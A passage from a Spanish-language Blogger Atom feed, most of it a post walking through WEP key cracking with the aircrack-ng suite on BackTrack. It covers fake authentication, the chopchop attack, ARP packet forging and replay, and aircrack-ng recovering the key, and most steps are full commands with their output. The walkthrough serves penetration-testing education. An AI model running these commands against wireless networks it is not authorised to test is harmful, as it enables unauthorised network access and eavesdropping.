border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=FvQiZCQIAIg:rwcRztYwKFo:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=FvQiZCQIAIg:rwcRztYwKFo:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/FvQiZCQIAIg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/9036428987844616047/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=9036428987844616047" title="4 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/9036428987844616047?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/9036428987844616047?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/FvQiZCQIAIg/configuracion-de-ppp-y-chap.html" title="Configuración de PPP y CHAP" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-ELvn4LKrdp4/TfF5hRWZN-I/AAAAAAAABQU/4n88_NFYSOk/s72-c/ppp%252Bchap.png" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/06/configuracion-de-ppp-y-chap.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUMHQXo9eCp7ImA9WhZUFEo.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-6892653770564322047</id><published>2011-06-07T14:38:00.020-05:00</published><updated>2011-06-07T15:10:30.460-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-07T15:10:30.460-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="Aircrack-ng" /><category scheme="http://www.blogger.com/atom/ns#" term="BackTrack" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking Wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="Cracking WEP" /><category scheme="http://www.blogger.com/atom/ns#" term="Alfa 2W" /><category scheme="http://www.blogger.com/atom/ns#" term="WiFi" /><title>Ataque 4: Ataque chopchop + Ataque 2 : Interactive Packet Replay</title><content type="html">&lt;div style="text-align: justify;"&gt;Este ataque, cuando es exitoso, puede desencriptar un paquete de datos WEP sin necesidad de conocer la clave. Incluso puede funcionar con WEP dinámica. Este ataque no recupera la clave WEP en sí misma, sino que revela únicamente el texto plano. De cualquier modo, algunos puntos de acceso no son en absoluto vulnerables. Algunos pueden en principio parecer vulnerables pero en realidad tiran los paquetes menores de 60 bytes. Si el punto de acceso tira paquetes menores de 42 bytes, aireplay intenta adivinar el resto de los datos, tan pronto como el encabezado (headers) sea predecible. Si un paquete IP es capturado, automáticamente comprueba el checksum del encabezado para ver si es correcto, y despues trata de adivinar las partes que le faltan. Este ataque requiere como mínimo un paquete de datos WEP.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Modo Monitor con Airmon-ng&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nuestro primer paso sera poner nuestro dispositivo inalambrico en modo Monitor. El modo monitor es un modo especial que se usa para capturar paquetes wireles 802.11. Para esto iniciamos el script airmon-ng tal como se muestra a continuación.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;airmon-ng start wlan0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Found 2 processes that could cause trouble.&lt;br /&gt;If airodump-ng, aireplay-ng or airtun-ng stops working after&lt;br /&gt;a short period of time, you may want to kill (some of) them!&lt;br /&gt;&lt;br /&gt;PID       Name&lt;br /&gt;1232      dhclient3&lt;br /&gt;2118      dhclient3&lt;br /&gt;Process   with PID 2082 (ifup) is running on interface wlan0&lt;br /&gt;Process   with PID 2118 (dhclient3) is running on interface wlan0&lt;br /&gt;&lt;br /&gt;Interface         Chipset           Driver&lt;br /&gt;&lt;br /&gt;wlan0             Ralink RT2870/3070       rt2800usb - [phy1]&lt;br /&gt;                 (monitor mode enabled on mon0)&lt;br /&gt;root@bt:~#&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-vBGC1yYeJN8/Te5-iV5pUCI/AAAAAAAABPE/vmnaE1s9mbk/s1600/airmon-ng.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 198px;" src="http://3.bp.blogspot.com/-vBGC1yYeJN8/Te5-iV5pUCI/AAAAAAAABPE/vmnaE1s9mbk/s400/airmon-ng.png" alt="" id="BLOGGER_PHOTO_ID_5615564913837166626" border="0" /&gt;&lt;/a&gt;Ahora lanzamos airodump-ng para escanear las redes que están a nuestro alcance y asi poder elegir una red en especifico.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;airodump-ng mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;CH  2 ][ Elapsed: 8 s ][ 2011-06-07 12:39                          &lt;br /&gt;                                                            &lt;br /&gt;BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;                                                            &lt;br /&gt;00:18:3F:18:85:C9  -127        4        2    0   6  54 . WEP  WEP         2WIRE974&lt;br /&gt;                                                            &lt;br /&gt;BSSID              STATION            PWR   Rate    Lost  Packets  Probes &lt;br /&gt;                                                            &lt;br /&gt;00:18:3F:18:85:C9  0C:60:76:71:D5:5B  -127    0 -54      0        1         &lt;br /&gt;&lt;br /&gt;root@bt:~#&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-_M_9CisLTO4/Te5-0AF5jtI/AAAAAAAABPM/wvqZBq-6yTo/s1600/airodump-ng.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 154px;" src="http://2.bp.blogspot.com/-_M_9CisLTO4/Te5-0AF5jtI/AAAAAAAABPM/wvqZBq-6yTo/s400/airodump-ng.png" alt="" id="BLOGGER_PHOTO_ID_5615565217220628178" border="0" /&gt;&lt;/a&gt;Elegimos la red objetivo y lanzamos el siguiente comando para decirle a airodump-ng que escuche con nuestro dispositivo USB (mon0) en el canal (6) donde esta trasmitiendo el punto de acceso (00:18:3F:18:85:C9).&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;airodump-ng -c 6 -w captura --bssid 00:18:3F:18:85:C9 mon0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Con el parámetro --bssid indicamos la dirección MAC del punto de acceso, -c indicamos el numero de canal y el parámetro -w ponemos el nombre del archivo donde se guardaran los datos.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt; CH  6 ][ Elapsed: 1 min ][ 2011-06-07 12:55 ][ Decloak: 00:18:3F:18:85:C9 &lt;br /&gt;                                                            &lt;br /&gt;BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;                                                            &lt;br /&gt;00:18:3F:18:85:C9  -127  93      909     241    2  6  54 . WEP  WEP    OPN  2WIRE974&lt;br /&gt;                                                            &lt;br /&gt;BSSID              STATION            PWR   Rate    Lost  Packets  Probes &lt;br /&gt;                                                            &lt;br /&gt;00:18:3F:18:85:C9  00:C0:CA:4A:82:97    0    0 - 1      0 9638&lt;/code&gt;&lt;/pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-IwJ4A7etzU4/Te5_EKG2StI/AAAAAAAABPU/PdrDaX7gHAI/s1600/chopchop.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 171px;" src="http://3.bp.blogspot.com/-IwJ4A7etzU4/Te5_EKG2StI/AAAAAAAABPU/PdrDaX7gHAI/s400/chopchop.png" alt="" id="BLOGGER_PHOTO_ID_5615565494786869970" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Ataque 1: Falsa Autenticación&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ahora lo que haremos es realizar una falsa autenticación con el Punto de Acceso Wifi para que acepte cualquier paquete que le enviemos. Para esto, en consola realizamos lo siguiente.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;aireplay-ng -1 0 -e 2WIRE974 -a 00:18:3F:18:85:C9 -h 00:C0:CA:4A:82:97 mon0&lt;/span&gt;&lt;br /&gt;12:54:37  Waiting for beacon frame (BSSID: 00:18:3F:18:85:C9) on channel 6&lt;br /&gt;&lt;br /&gt;12:54:37  Sending Authentication Request (Open System) [ACK]&lt;br /&gt;12:54:38  Authentication successful&lt;br /&gt;12:54:38  Sending Association Request [ACK]&lt;br /&gt;12:54:38  Association successful :-) (AID: 1)&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-vjggJYUBzs4/Te5_Uq_pGhI/AAAAAAAABPc/hwK6RsAHals/s1600/aireplay-Fake-authentication.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 173px;" src="http://4.bp.blogspot.com/-vjggJYUBzs4/Te5_Uq_pGhI/AAAAAAAABPc/hwK6RsAHals/s400/aireplay-Fake-authentication.png" alt="" id="BLOGGER_PHOTO_ID_5615565778492922386" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Ataque 4: Ataque Chopchop&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Una vez  autenticado correctamente lanzamos el ataque chopchop con el siguiente comando. El -4 significa que realizaremos el ataque chopchop, -b la dirección MAC del punto de acceso, -h la dirección MAC de nuestro dispositivo inalambrico y el mon0 es tal como es reconocido nuestro dispositivo.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;aireplay-ng -4 -b 00:18:3F:18:85:C9 -h 00:C0:CA:4A:82:97 mon0&lt;/span&gt;&lt;br /&gt;12:54:48  Waiting for beacon frame (BSSID: 00:18:3F:18:85:C9) on channel 6&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Size: 68, FromDS: 1, ToDS: 0 (WEP)&lt;br /&gt;&lt;br /&gt;BSSID  =  00:18:3F:18:85:C9&lt;br /&gt;Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;Source MAC  =  00:18:3F:18:85:C9&lt;br /&gt;&lt;br /&gt;0x0000:  0842 3a01 ffff ffff ffff 0018 3f18 85c9  .B:.........?...&lt;br /&gt;0x0010:  0018 3f18 85c9 d06e 3f5d 5c00 0695 56a5  ..?....n?]\...V.&lt;br /&gt;0x0020:  05bb c1d0 3adf e8c9 d3db da6a 5fc0 a283  ....:......j_...&lt;br /&gt;0x0030:  e901 d215 c1a4 5a7a efc0 ea3f 255f 0c69  ......Zz...?%_.i&lt;br /&gt;0x0040:  a4d8 6b51                                ..kQ&lt;br /&gt;&lt;br /&gt;Use this packet ? &lt;span style="color: rgb(51, 255, 51);"&gt;y&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Saving chosen packet in replay_src-0607-125448.cap&lt;br /&gt;&lt;br /&gt;Offset   67 ( 0% done) | xor = 03 | pt = 52 |  234 frames written in  3993ms&lt;br /&gt;Offset   66 ( 2% done) | xor = 81 | pt = EA |  167 frames written in  2833ms&lt;br /&gt;Offset   65 ( 5% done) | xor = 6F | pt = B7 |   85 frames written in  1446ms&lt;br /&gt;Offset   64 ( 8% done) | xor = 10 | pt = B4 |  197 frames written in  3348ms&lt;br /&gt;Offset   63 (11% done) | xor = 2A | pt = 43 |  171 frames written in  2901ms&lt;br /&gt;Offset   62 (14% done) | xor = 0D | pt = 01 |  126 frames written in  2148ms&lt;br /&gt;Offset   61 (17% done) | xor = F7 | pt = A8 |  212 frames written in  3609ms&lt;br /&gt;Offset   60 (20% done) | xor = E5 | pt = C0 |  216 frames written in  3670ms&lt;br /&gt;Offset   59 (23% done) | xor = C0 | pt = FF |  186 frames written in  3156ms&lt;br /&gt;Offset   58 (26% done) | xor = 15 | pt = FF |   59 frames written in  1008ms&lt;br /&gt;Offset   57 (29% done) | xor = 3F | pt = FF |   43 frames written in   731ms&lt;br /&gt;Offset   56 (32% done) | xor = 10 | pt = FF |   91 frames written in  1545ms&lt;br /&gt;Offset   55 (35% done) | xor = 85 | pt = FF |   73 frames written in  1248ms&lt;br /&gt;Offset   54 (38% done) | xor = A5 | pt = FF |   29 frames written in   487ms&lt;br /&gt;Offset   53 (41% done) | xor = 5A | pt = FE |  214 frames written in  3629ms&lt;br /&gt;Offset   52 (44% done) | xor = C0 | pt = 01 |   43 frames written in   742ms&lt;br /&gt;Offset   51 (47% done) | xor = BD | pt = A8 |  137 frames written in  2322ms&lt;br /&gt;Offset   50 (50% done) | xor = 12 | pt = C0 |   35 frames written in   606ms&lt;br /&gt;Offset   49 (52% done) | xor = C8 | pt = C9 |  223 frames written in  3783ms&lt;br /&gt;Offset   48 (55% done) | xor = 6C | pt = 85 |   47 frames written in   801ms&lt;br /&gt;Offset   47 (58% done) | xor = 9B | pt = 18 |   64 frames written in  1087ms&lt;br /&gt;Offset   46 (61% done) | xor = 9D | pt = 3F |  252 frames written in  4287ms&lt;br /&gt;Offset   45 (64% done) | xor = D8 | pt = 18 |  108 frames written in  1836ms&lt;br /&gt;Offset   44 (67% done) | xor = 5F | pt = 00 |  241 frames written in  4099ms&lt;br /&gt;Offset   43 (70% done) | xor = 6B | pt = 01 |  193 frames written in  3282ms&lt;br /&gt;Offset   42 (73% done) | xor = DA | pt = 00 |   98 frames written in  1660ms&lt;br /&gt;Offset   41 (76% done) | xor = DF | pt = 04 |  163 frames written in  2773ms&lt;br /&gt;Offset   40 (79% done) | xor = D5 | pt = 06 |   68 frames written in  1157ms&lt;br /&gt;Sent 1000 packets, current guess: E4...&lt;br /&gt;&lt;br /&gt;The AP appears to drop packets shorter than 40 bytes.&lt;br /&gt;Enabling standard workaround: ARP header re-creation.&lt;br /&gt;&lt;br /&gt;Saving plaintext in replay_dec-0607-125543.cap&lt;br /&gt;Saving keystream in replay_dec-0607-125543.xor&lt;br /&gt;&lt;br /&gt;Completed in 40s (0.75 bytes/s)&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-1xiNlUMtNpI/Te5_6QwXGjI/AAAAAAAABPk/6GNR4YzT2ks/s1600/chopchop-KoreK.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 372px;" src="http://1.bp.blogspot.com/-1xiNlUMtNpI/Te5_6QwXGjI/AAAAAAAABPk/6GNR4YzT2ks/s400/chopchop-KoreK.png" alt="" id="BLOGGER_PHOTO_ID_5615566424284535346" border="0" /&gt;&lt;/a&gt;Como se puede observar, tuvimos exito con el ataque chopchop. El archivo llamado keystream in replay_dec-0607-125543.xor lo utilizaremos para generar un paquete ARP con el famoso packetforge-ng. Nuestro objetivo es que el punto de acceso reenvie continuamente el paquete arp inyectado. Cuando lo reenvie obtendremos un nuevo IV (vector de inicialización). Todos estos IVs los usaremos para obtener la clave WEP.&lt;/div&gt;&lt;pre&gt;&lt;code&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;packetforge-ng -0 -a 00:18:3F:18:85:C9 -h 00:C0:CA:4A:82:97 -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-0607-125543.xor -w ARP&lt;/span&gt;&lt;br /&gt;Wrote packet to: ARP&lt;/code&gt;&lt;/pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-OZdRI5aflh4/Te6AHClJ0mI/AAAAAAAABPs/qeEcMbsOfvs/s1600/packetforge-ng.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 91px;" src="http://2.bp.blogspot.com/-OZdRI5aflh4/Te6AHClJ0mI/AAAAAAAABPs/qeEcMbsOfvs/s400/packetforge-ng.png" alt="" id="BLOGGER_PHOTO_ID_5615566643817730658" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Ataque 2: Interactive Packet Replay&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Inyección del paquete ARP con areplay-ng.&lt;pre&gt;&lt;code&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;aireplay-ng -2 -r ARP mon0&lt;/span&gt;&lt;br /&gt;No source MAC (-h) specified. Using the device MAC (00:C0:CA:4A:82:97)&lt;br /&gt;&lt;br /&gt;Size: 68, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;&lt;br /&gt;BSSID  =  00:18:3F:18:85:C9&lt;br /&gt;Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;Source MAC  =  00:C0:CA:4A:82:97&lt;br /&gt;&lt;br /&gt;0x0000:  0841 0201 0018 3f18 85c9 00c0 ca4a 8297  .A....?......J..&lt;br /&gt;0x0010:  ffff ffff ffff 8001 3f5d 5c00 0695 56a5  ........?]\...V.&lt;br /&gt;0x0020:  05bb c1d0 3adf e8c9 d3db da6a 5f18 57d1  ....:......j_.W.&lt;br /&gt;0x0030:  ee5f ed42 3fa5 a585 103f 15c0 1a08 f2d5  ._.B?....?......&lt;br /&gt;0x0040:  3f8a 5f41                                ?._A&lt;br /&gt;&lt;br /&gt;Use this packet ? &lt;span style="color: rgb(51, 255, 51);"&gt;y&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Saving chosen packet in replay_src-0607-125633.cap&lt;br /&gt;You should also start airodump-ng to capture replies.&lt;br /&gt;&lt;br /&gt;Sent 16265 packets... (500pps)&lt;/code&gt;&lt;/pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-JAp02pEL96U/Te6AY7tCdGI/AAAAAAAABP0/wyEuEdzSCak/s1600/packetforge-ng-ARP.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 234px;" src="http://2.bp.blogspot.com/-JAp02pEL96U/Te6AY7tCdGI/AAAAAAAABP0/wyEuEdzSCak/s400/packetforge-ng-ARP.png" alt="" id="BLOGGER_PHOTO_ID_5615566951209399394" border="0" /&gt;&lt;/a&gt;Por ultimo lanzamos aircrack-ng para obtener la clave WEP.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;root@bt:~# &lt;span style="color: rgb(51, 255, 51);"&gt;aircrack-ng captura-01.cap&lt;/span&gt;&lt;br /&gt;Opening captura-01.cap&lt;br /&gt;Read 98407 packets.&lt;br /&gt;&lt;br /&gt;#  BSSID              ESSID                     Encryption&lt;br /&gt;&lt;br /&gt;1  00:18:3F:18:85:C9  2WIRE974                  WEP (21485 IVs)&lt;br /&gt;&lt;br /&gt;Choosing first network as target.&lt;br /&gt;&lt;br /&gt;Opening captura-01.cap&lt;br /&gt;Attack will be restarted every 5000 captured ivs.&lt;br /&gt;Starting PTW attack with 21572 ivs.&lt;br /&gt;&lt;br /&gt;                           Aircrack-ng 1.1 r1904&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;          [00:00:05] Tested 866 keys (got 20515 IVs)&lt;br /&gt;&lt;br /&gt;KB    depth   byte(vote)&lt;br /&gt;0     11/  13    C0(25600) 76(25344) 8B(25344) A6(25344) F6(24832) 12(24576) 73(24576)&lt;br /&gt;1      0/   3    02(31232) 19(27904) EB(26880) 6E(26624) 8E(26624) 70(26368) 09(26112)&lt;br /&gt;2      0/   4    95(31232) F2(29184) 59(26880) 14(26880) 6E(26112) 03(25856) 75(25856)&lt;br /&gt;3      0/   6    92(30464) 92(28160) E5(27904) 3D(26368) C3(26112) D5(26112) 92(25344)&lt;br /&gt;4      0/   1    80(34048) 06(28416) 9F(26880) 76(26624) 8A(26624) F1(26624) FB(26624)&lt;br /&gt;&lt;br /&gt;                              KEY FOUND! [ 76:02:95:92:80 ]&lt;br /&gt;Decrypted correctly: 100%&lt;/code&gt;&lt;/pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-ucRgm5Mj4WA/Te6A6TOEO_I/AAAAAAAABP8/KYGhFIZCe3Y/s1600/aircrack-Backtrack5.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 224px;" src="http://2.bp.blogspot.com/-ucRgm5Mj4WA/Te6A6TOEO_I/AAAAAAAABP8/KYGhFIZCe3Y/s400/aircrack-Backtrack5.png" alt="" id="BLOGGER_PHOTO_ID_5615567524457626610" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;Referencias: &lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/Hacking-Exposed-Wireless-Second-Johnny/dp/0071666613/ref=dp_ob_title_bk/189-7414995-4751159"&gt;Hacking Exposed Wireless, Second Edition&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.aircrack-ng.org/doku.php?id=es:korek_chopchop"&gt;Ataque 4: Ataque chopchop&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-6892653770564322047?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=LD-bVC6hQ38:3gy30FABGLA:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=LD-bVC6hQ38:3gy30FABGLA:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=LD-bVC6hQ38:3gy30FABGLA:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=LD-bVC6hQ38:3gy30FABGLA:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=LD-bVC6hQ38:3gy30FABGLA:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=LD-bVC6hQ38:3gy30FABGLA:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=LD-bVC6hQ38:3gy30FABGLA:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/LD-bVC6hQ38" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/6892653770564322047/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=6892653770564322047" title="7 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/6892653770564322047?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/6892653770564322047?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/LD-bVC6hQ38/ataque-4-ataque-chopchop-attack-2.html" title="Ataque 4: Ataque chopchop + Ataque 2 : Interactive Packet Replay" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 